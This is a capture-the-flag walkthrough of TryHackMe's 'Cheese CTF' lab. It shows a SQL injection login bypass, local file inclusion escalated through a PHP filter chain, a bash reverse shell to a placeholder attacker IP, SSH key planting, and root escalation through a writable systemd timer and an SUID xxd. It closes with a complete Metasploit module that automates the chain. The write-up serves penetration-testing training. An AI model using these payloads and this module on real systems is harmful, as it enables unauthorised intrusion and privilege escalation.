[THM CHALLANGE] CHEESE CTF
Passing the TryHackMe ‘Cheese CTF’ challenge what inspired by the great cheese talk of THM :)
Start machine#

Main page of the Cheese CTF site
After starting the machine, we can open a web page hosted on port 80.
There is nothing interesting on the site except the login page and fuzzing a web directories also didn’t give any results.
The authors of the task clearly hint that we should be interested in the login page, and not something else :)
Port scanning#
I’m start port scanning.
The machine has all ports open, but I check version of SSH and WebServer, just in case, although we have already been hinted more than once that this is not something that should interest us :)
❯ nmap -A -p22,80 10.10.192.21 -T5
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-29 16:40 UTC
Nmap scan report for 10.10.192.21
Host is up (0.32s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b1:c1:22:9f:11:10:5f:64:f1:33:72:70:16:3c:80:06 (RSA)
| 256 6d:33:e3:bd:70:62:59:93:4d:ab:8b:fe:ef:e8:a7:b2 (ECDSA)
|_ 256 89:2e:17:84:ed:48:7a:ae:d9:8c:9b:a5:8e:24:04:bd (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: The Cheese Shop
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.35 seconds
Login page#

Login page of the Cheese CTF site
The login page can’t content any interesting things exept the login form.
I started brute force for admin
user by rockyou
word list, most likely it doesn’t give any result, but let it do in the background (spoiler, no sence).
❯ hydra -l admin -P ~/SecLists/Passwords/Leaked-Databases/rockyou.txt \
10.10.149.179 http-post-form "/login.php:username=^USER^&password=^PASS^:fail" -V
Ok. In parallel with brute force, I check the possibility of executing SQLi in the login form.
After few attempts, I get server response with redirect to /script.php?file=supersecretadminpanel.html
❯ curl -XPOST -v "http://10.10.192.21/login.php" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=' OR 'quack'='quack'#;&password=1"
* Trying 10.10.192.21:80...
* Connected to 10.10.192.21 (10.10.192.21) port 80
* using HTTP/1.x
> POST /login.php HTTP/1.1
> Host: 10.10.192.21
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 42 bytes
< HTTP/1.1 302 Found
< Location: script.php?file=adminpanel.html
< Content-Length: 792
< Content-Type: text/html; charset=UTF-8
<
<!DOCTYPE html>
<html lang="en">
...
Go to web browser/Burp and bypass authentication using this SQLi.

Admin page of the Cheese CTF site
There is nothing interesting here.
But, the URL /script.php?file=adminpanel.html
looks like as LFI
.
❯ curl http://10.10.192.21/script.php?file=/etc/passwd
root:x:0:0:root:/root:/bin/bash
...
comte:x:1000:1000:comte:/home/comte:/bin/bash
Yes, the query returned me the contents of the /etc/passwd
file.
Theoretically, we could have a potential RCE
here and it could give me a reverse shell
and considering that we need a user and root flags, then most likely this is the direction we need to go.
See LFI and PHP? Try using PHP Filter Chain. :)
I generated a simple phpinfo
payload to check for the vulnerability present,
use the php_filter_chain_generator tool fot this:
❯ python3 php_filter_chain_generator.py --chain '<?php phpinfo(); ?>' | grep "^php" > /tmp/payload
Output example
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|....|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp
And make a request via curl with the generated payload as the value of the file=
parameter:
❯ curl "http://10.10.192.21/secret.php?file=$(cat /tmp/payload)"
....
</style>
<title>PHP 7.4.3-4ubuntu2.20 - phpinfo()</title><meta name="ROBOTS" content="NOINDEX,NOFOLLOW,NOARCHIVE" /></head>
<body><div class="center">
<table>
<tr class="h"><td>
...
The server return a standard PHP Info
page and with high probability we can get a reverse shell using this vulnerability, let’s try to do this.
Generate a reverse shell payload:
# Replace YOUR_IP and PORT
❯ python3 php_filter_chain_generator.py \
--chain "<?php exec(\"/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/PORT 0>&1'\"); ?>" | grep "^php" > /tmp/payload
Output example
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|....|convert.base64-decode/resource=php://temp
Start netcat
on your machine:
❯ netcat -nvlp 4444
And make a request to the vulnerable script, with an encoded reverse shell payload as the file=
parameter value:
❯ curl "http://10.10.192.21/secret.php?file=$(cat /tmp/payload)"
Good news - we got a remote shell on the machine
❯ netcat -nvlp 4444
Connection from 10.10.192.21:33494
bash: cannot set terminal process group (825): Inappropriate ioctl for device
bash: no job control in this shell
Let’s check who we are:
www-data@cheesectf:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Not root, so we have to find a way to escalate privileges. :)
www-data@cheesectf:/var/www/html$ ls -la
total 56
drwxr-xr-x 3 root root 4096 Sep 27 2023 .
drwxr-xr-x 3 root root 4096 Sep 27 2023 ..
-rw-r--r-- 1 root root 562 Sep 13 2023 adminpanel.css
drwxr-xr-x 2 root root 4096 Sep 27 2023 images
-rw-r--r-- 1 root root 1759 Sep 10 2023 index.html
-rw-r--r-- 1 root root 966 Sep 10 2023 login.css
-rw-r--r-- 1 root root 2391 Sep 16 2023 login.php
-rw-r--r-- 1 root root 448 Sep 13 2023 messages.html
-rw-r--r-- 1 root root 380 Sep 13 2023 orders.html
-rw-r--r-- 1 root root 113 Sep 11 2023 secret.php
-rw-r--r-- 1 root root 705 Sep 10 2023 style.css
-rw-r--r-- 1 root root 808 Sep 13 2023 supersecretadminpanel.html
-rw-r--r-- 1 root root 25 Sep 13 2023 supersecretmessageforadmin
-rw-r--r-- 1 root root 377 Sep 13 2023 users.html
www-data@cheesectf:/var/www/html$ cat supersecretmessageforadmin
If you know, you know :D
Great, now I have something to cover a flags in the article, but this doesn’t bring us any closer to the goal :)
All files have read-only permission for our user and we can’t do anything here.
From our experiments with LFI
above we know that we have the comte
user.
comte:x:1000:1000:comte:/home/comte:/bin/bash
www-data@cheesectf:/var/www/html$ ls -la /home
total 12
drwxr-xr-x 3 root root 4096 Sep 27 2023 .
drwxr-xr-x 19 root root 4096 Sep 27 2023 ..
drwxr-xr-x 7 comte comte 4096 Apr 4 2024 comte
www-data@cheesectf:/home$ ls -la comte
total 52
drwxr-xr-x 7 comte comte 4096 Apr 4 2024 .
drwxr-xr-x 3 root root 4096 Sep 27 2023 ..
-rw------- 1 comte comte 55 Apr 4 2024 .Xauthority
lrwxrwxrwx 1 comte comte 9 Apr 4 2024 .bash_history -> /dev/null
-rw-r--r-- 1 comte comte 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 comte comte 3771 Feb 25 2020 .bashrc
drwx------ 2 comte comte 4096 Sep 27 2023 .cache
drwx------ 3 comte comte 4096 Mar 25 2024 .gnupg
drwxrwxr-x 3 comte comte 4096 Mar 25 2024 .local
-rw-r--r-- 1 comte comte 807 Feb 25 2020 .profile
drwxr-xr-x 2 comte comte 4096 Mar 25 2024 .ssh
-rw-r--r-- 1 comte comte 0 Sep 27 2023 .sudo_as_admin_successful
drwx------ 3 comte comte 4096 Mar 25 2024 snap
-rw------- 1 comte comte 4276 Sep 15 2023 user.txt
Great, we can read comte user’s home directory, but we can’t read the user flag, anyway we need to raise our privileges to comte
user or root
.
Let’s list files of the user .ssh
directory, maybe we can find the ssh private key there:
www-data@cheesectf:/home$ ls -la comte/.ssh
total 8
drwxr-xr-x 2 comte comte 4096 Mar 25 2024 .
drwxr-xr-x 7 comte comte 4096 Apr 4 2024 ..
-rw-rw-rw- 1 comte comte 0 Mar 25 2024 authorized_keys
No, we didn’t find the private ssh key, but we did find another great news - we have write access to the authorized_keys
file of the comte
user.
We can write our public key there and use it to access the machine via SSH.
Generating a new SSH key and write it to the authorized_keys
file of the comte
user:
❯ ssh-keygen -t ed25519 -f /tmp/ctf
❯ cat /tmp/ctf.pub
ssh-ed25519 AAAAC3Nza.......TQR6ay4dLaJZRY1QHY
www-data@cheesectf:/home$ echo 'ssh-ed25519 AAAAC3Nza.......TQR6ay4dLaJZRY1QHY' > /home/comte/.ssh/authorized_keys
Trying to connect to the machine via SSH and with our SSH private key:
❯ ssh [email protected] -i /tmp/ctf
comte@cheesectf:~$
comte@cheesectf:~$ id
uid=1000(comte) gid=1000(comte) groups=1000(comte),24(cdrom),30(dip),46(plugdev)
Great, we escalate our privileges to the comte
user and get a full terminal as bonus :)
We can get the first flag user.txt
comte@cheesectf:~/$ cat user.txt
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⣶⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⡾⠋⠀⠉⠛⠻⢶⣦⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⠟⠁⣠⣴⣶⣶⣤⡀⠈⠉⠛⠿⢶⣤⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⡿⠃⠀⢰⣿⠁⠀⠀⢹⡷⠀⠀⠀⠀⠀⠈⠙⠻⠷⣶⣤⣀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⠋⠀⠀⠀⠈⠻⠷⠶⠾⠟⠁⠀⠀⣀⣀⡀⠀⠀⠀⠀⠀⠉⠛⠻⢶⣦⣄⡀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⠟⠁⠀⠀⢀⣀⣀⡀⠀⠀⠀⠀⠀⠀⣼⠟⠛⢿⡆⠀⠀⠀⠀⠀⣀⣤⣶⡿⠟⢿⡇
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⡿⠋⠀⠀⣴⡿⠛⠛⠛⠛⣿⡄⠀⠀⠀⠀⠻⣶⣶⣾⠇⢀⣀⣤⣶⠿⠛⠉⠀⠀⠀⢸⡇
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣾⠟⠀⠀⠀⠀⢿⣦⡀⠀⠀⠀⣹⡇⠀⠀⠀⠀⠀⣀⣤⣶⡾⠟⠋⠁⠀⠀⠀⠀⠀⣠⣴⠾⠇
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⡿⠁⠀⠀⠀⠀⠀⠀⠙⠻⠿⠶⠾⠟⠁⢀⣀⣤⡶⠿⠛⠉⠀⣠⣶⠿⠟⠿⣶⡄⠀⠀⣿⡇⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣶⠟⢁⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣠⣴⠾⠟⠋⠁⠀⠀⠀⠀⢸⣿⠀⠀⠀⠀⣼⡇⠀⠀⠙⢷⣤⡀
⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⠟⠁⠀⣾⡏⢻⣷⠀⠀⠀⢀⣠⣴⡶⠟⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⣷⣤⣤⣴⡟⠀⠀⠀⠀⠀⢻⡇
⠀⠀⠀⠀⠀⠀⣠⣾⠟⠁⠀⠀⠀⠙⠛⢛⣋⣤⣶⠿⠛⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠁⠀⠀⠀⠀⠀⠀⢸⡇
⠀⠀⠀⠀⣠⣾⠟⠁⠀⢀⣀⣤⣤⡶⠾⠟⠋⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣤⣤⣤⣤⣤⣤⡀⠀⠀⠀⠀⠀⢸⡇
⠀⠀⣠⣾⣿⣥⣶⠾⠿⠛⠋⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣶⠶⣶⣤⣀⠀⠀⠀⠀⠀⢠⡿⠋⠁⠀⠀⠀⠈⠉⢻⣆⠀⠀⠀⠀⢸⡇
⠀⢸⣿⠛⠉⠁⠀⢀⣠⣴⣶⣦⣀⠀⠀⠀⠀⠀⠀⠀⣠⡿⠋⠀⠀⠀⠉⠻⣷⡀⠀⠀⠀⣿⡇⠀⠀⠀⠀⠀⠀⠀⠘⣿⠀⠀⠀⠀⢸⡇
⠀⢸⣿⠀⠀⠀⣴⡟⠋⠀⠀⠈⢻⣦⠀⠀⠀⠀⠀⢰⣿⠁⠀⠀⠀⠀⠀⠀⢸⣷⠀⠀⠀⢻⣧⠀⠀⠀⠀⠀⠀⠀⢀⣿⠀⠀⠀⠀⢸⡇
⠀⢸⡇⠀⠀⠀⢿⡆⠀⠀⠀⠀⢰⣿⠀⠀⠀⠀⠀⢸⣿⠀⠀⠀⠀⠀⠀⠀⣸⡟⠀⠀⠀⠀⠙⢿⣦⣄⣀⣀⣠⣤⡾⠋⠀⠀⠀⠀⢸⡇
⠀⢸⡇⠀⠀⠀⠘⣿⣄⣀⣠⣴⡿⠁⠀⠀⠀⠀⠀⠀⢿⣆⠀⠀⠀⢀⣠⣾⠟⠁⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⠉⠉⠀⠀⠀⣀⣤⣴⠿⠃
⠀⠸⣷⡄⠀⠀⠀⠈⠉⠉⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⠻⠿⠿⠛⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣠⣴⡶⠟⠋⠉⠀⠀⠀
⠀⠀⠈⢿⣆⠀⠀⠀⠀⠀⠀⠀⣀⣤⣴⣶⣶⣤⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣴⡶⠿⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⢨⣿⠀⠀⠀⠀⠀⠀⣼⡟⠁⠀⠀⠀⠹⣷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣤⣶⠿⠛⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⣠⡾⠋⠀⠀⠀⠀⠀⠀⢻⣇⠀⠀⠀⠀⢀⣿⠀⠀⠀⠀⠀⠀⢀⣠⣤⣶⠿⠛⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⢠⣾⠋⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⣤⣤⣤⣴⡿⠃⠀⠀⣀⣤⣶⠾⠛⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⣀⣠⣴⡾⠟⠋⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣤⡶⠿⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⣿⡇⠀⠀⠀⠀⣀⣤⣴⠾⠟⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⢻⣧⣤⣴⠾⠟⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠘⠋⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
THM{ if you know, you know :D }
Next step - we should to escalate our privileges to the root
user and get root.txt
flag from the root user home directory.
We can use linpeas.sh
to scan and find missconfig, but that’s not interesting, let’s try manually :)
Let’s see what we can use via sudo:
comte@cheesectf:~$ sudo -l
User comte may run the following commands on cheesectf:
(ALL) NOPASSWD: /bin/systemctl daemon-reload
(ALL) NOPASSWD: /bin/systemctl restart exploit.timer
(ALL) NOPASSWD: /bin/systemctl start exploit.timer
(ALL) NOPASSWD: /bin/systemctl enable exploit.timer
Hmm. We can manage one of systemd
services exploit
.
Let’s to see on the exploit.service
file content, this service is triggering via exploit.timer
:
comte@cheesectf:~$ cat /etc/systemd/system/exploit.service
[Unit]
Description=Exploit Service
[Service]
Type=oneshot
ExecStart=/bin/bash -c "/bin/cp /usr/bin/xxd /opt/xxd && /bin/chmod +sx /opt/xxd"
This looks like our way to escalate privileges and get the root flag.
This service run the command /bin/cp /usr/bin/xxd /opt/xxd && /bin/chmod +sx /opt/xxd
,
copies xxd
binary file to the /opt
directory and set the SUID
bit for this file,
since the systemd
serivces runs from root
user by default,
we get the xxd
tool what we can use with root
user privelegies.
But we can’t run this service directly, we have to use exploit.timer
for that.
Let’s run exploit.timer
:
comte@cheesectf:~$ sudo /bin/systemctl start exploit.timer
Failed to start exploit.timer: Unit exploit.timer has a bad unit file setting.
See system logs and 'systemctl status exploit.timer' for details.
And we get an error when trying to start the timer.
Let’s show the exploit.timer
config:
comte@cheesectf:~$ cat /etc/systemd/system/exploit.timer
[Unit]
Description=Exploit Timer
[Timer]
OnBootSec=
[Install]
WantedBy=timers.target
We see a missconfig for the OnBootSec
parameter, it can’t have an empty value.
And we can edit this file?
comte@cheesectf:~$ ls -la /etc/systemd/system/exploit*
-rw-r--r-- 1 root root 141 Mar 29 2024 /etc/systemd/system/exploit.service
-rwxrwxrwx 1 root root 87 Mar 29 2024 /etc/systemd/system/exploit.timer
Yes, this file has write permission for everyone.
Where looking the administrator who configure this server? :)
OK, fix it:
sed -i 's/^OnBootSec=/OnBootSec=1/g' /etc/systemd/system/exploit.timer
And try again:
comte@cheesectf:~$ sudo /bin/systemctl start exploit.timer
This time the timer starts without any errors.
And the service also successfully completed its job and copied the xxd
file to the /opt
directory with the SUID
bit.
comte@cheesectf:~/$ ls -la
total 28
drwxr-xr-x 2 root root 4096 Apr 29 17:43 .
drwxr-xr-x 19 root root 4096 Sep 27 2023 ..
-rwsr-sr-x 1 root root 18712 Apr 29 17:43 xxd
xxd is?
xxd creates a hex dump of a given file or standard input.
It can also convert a hex dump back to its original binary form.
Like uuencode(1) and uudecode(1) it allows the transmission of binary data in a
`mail-safe' ASCII representation, but has the advantage of decoding to standard output.
Moreover, it can be used to perform binary file patching.
https://man.archlinux.org/man/xxd.1.en
Since we have xxd
with the SUID
bit, we can read the /root/root.txt
file and get the latest flag.
Let’s do that:
comte@cheesectf:~/$ /opt/xxd /root/root.txt | /opt/xxd -revert
_ _ _ _ __
___| |__ ___ ___ ___ ___ (_)___ | (_)/ _| ___
/ __| '_ \ / _ \/ _ \/ __|/ _ \ | / __| | | | |_ / _ \
| (__| | | | __/ __/\__ \ __/ | \__ \ | | | _| __/
\___|_| |_|\___|\___||___/\___| |_|___/ |_|_|_| \___|
THM{ if you know, you know :D }
What happened?
We just read the file /root/root.txt
with the xxd
tool and redirect the output
to another xxd
to convert the output of the first xxd
to plain text from HEX
.
You can get a root
shell by adding your SSH key to the /root/.ssh/authorized_keys
file and connect via SSH:
echo 'ssh-ed25519 AAAAC3Nza...' | \
xxd | /opt/xxd -r - /root/.ssh/authorized_keys
Bonus#
Metasploit exploit
# TryHackMe
# Cheese CTF
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::PhpFilterChain
include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::SSH
attr_accessor :ssh_socket
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Cheese CTF',
'Description' => %q{
This exploit for Cheese CTF challenge of TryHackMe platform.
},
'License' => "MIT",
'Author' => [],
'References' => [
[ 'URL', 'https://tryhackme.com/room/cheesectfv10']
],
'Platform' => ['unix'],
'Privileged' => true,
'Payload' => {
'Compat' => {
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find'
}
},
'Arch' => ARCH_CMD,
'Targets' => [
[ 'Automatic Target', {}]
],
'DisclosureDate' => '2025-05-01',
'DefaultTarget' => 0,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
'Notes' => {
'Stability' => [],
'Reliability' => [],
'SideEffects' => []
}
)
)
register_options(
[
Opt::RPORT(80),
OptString.new('SSH_PUBLIC_KEY_PATH', [ true, 'Path to SSH public key file']),
OptString.new('SSH_PRIVATE_KEY_PATH', [ true, 'Path to SSH private key file'])
]
)
register_advanced_options(
[
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
]
)
end
# Vuln system user
def normal_user
'comte'
end
# Root user
def root_user
'root'
end
# Path to private ssh key
def private_key_path
datastore['SSH_PRIVATE_KEY_PATH']
end
# path to public ssh key
def public_key_path
datastore['SSH_PUBLIC_KEY_PATH']
end
# PHP admin page RCE payload
def php_admin_payload
public_key = File.read public_key_path
generate_php_filter_payload(
"<?php $fp = fopen('/home/#{normal_user}/.ssh/authorized_keys', 'a'); fwrite($fp, '#{public_key}'.PHP_EOL); ?>"
)
end
# SSH connection
def ssh_connection(user, private_key_file_path)
private_key = File.read private_key_file_path
opt_hash = ssh_client_defaults.merge({
auth_methods: ['publickey'],
port: 22,
key_data: [ private_key ]
})
opt_hash[:verbose] = :debug if datastore['SSH_DEBUG']
begin
self.ssh_socket = nil
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
self.ssh_socket = Net::SSH.start(datastore['RHOST'], user, opt_hash)
end
rescue Rex::ConnectionError
return
rescue Net::SSH::Disconnect, ::EOFError
print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
return
rescue ::Timeout::Error
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
return
rescue Net::SSH::AuthenticationFailed
print_error "#{rhost}:#{rport} SSH - Failed authentication"
rescue Net::SSH::Exception => e
print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
return
end
fail_with(Failure::Unknown, 'Failed to start SSH socket') unless ssh_socket
true
end
# Executing a command over an SSH connection
def ssh_execute_command(cmd, opts = {})
vprint_status("Executing #{cmd}")
begin
Timeout.timeout(datastore['SSH_TIMEOUT']) { ssh_socket.exec!(cmd) }
rescue Timeout::Error
print_warning('Timed out while waiting for command to return')
@timeout = true
end
end
# Checks
def check
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'login.php'),
'method' => 'GET'
)
return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code == 200
CheckCode::Safe
end
# Exploitation
def exploit
# Bypass login and get admin page url
print_status('Attempting login bypass')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'login.php'),
'method' => 'POST',
'keep_cookies' => false,
'vars_post' => {
'username' => "' OR 'quack'='quack'#;",
'password' => 'password'
},
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") unless res.code == 302
# Use PHP Filter Chain for add own SSH public key to the `comte` user authorized_keys
print_status("Attempting add ssh key for user #{normal_user}")
# extract admin page url from a Location header
vuln_page = res.headers['Location'].match /(.*)\?/
send_request_cgi({
'uri' => normalize_uri(target_uri.path, vuln_page[1]),
'method' => 'GET',
'vars_get' =>
{
'file' => "#{php_admin_payload}"
}
})
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") unless res.code == 302
# Attempting connect via SSH
print_status('Attempting connect via SSH')
conn = ssh_connection(normal_user, private_key_path)
if target.name == 'Interactive SSH'
handler(ssh_socket)
return
end
if conn
# Get user flag
print_status 'Get user flag'
user_flag = ssh_execute_command("/usr/bin/cat /home/#{normal_user}/user.txt").match /^THM.*$/
print_good("User flag: #{user_flag}")
# Get root flag
print_status("Get root flag")
## Patch exploit.timer
print_status("Patch systemd exploit.timer")
ssh_execute_command("/usr/bin/sed 's/^OnBootSec=/OnBootSec=1/g' /etc/systemd/system/exploit.timer > /tmp/exploit.timer && cat /tmp/exploit.timer > /etc/systemd/system/exploit.timer")
## Reload systemd daemons
print_status("Reload SystemD daemons")
ssh_execute_command("sudo /bin/systemctl daemon-reload")
## Start exploit.timer
print_status("Start exploit.timer")
ssh_execute_command("sudo /bin/systemctl start exploit.timer")
## Get root flag
print_status("Get root flag")
root_flag = ssh_execute_command("/opt/xxd /root/root.txt | /opt/xxd -revert").match /^THM.*$/
print_good("Root flag: #{root_flag}")
return
end
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
end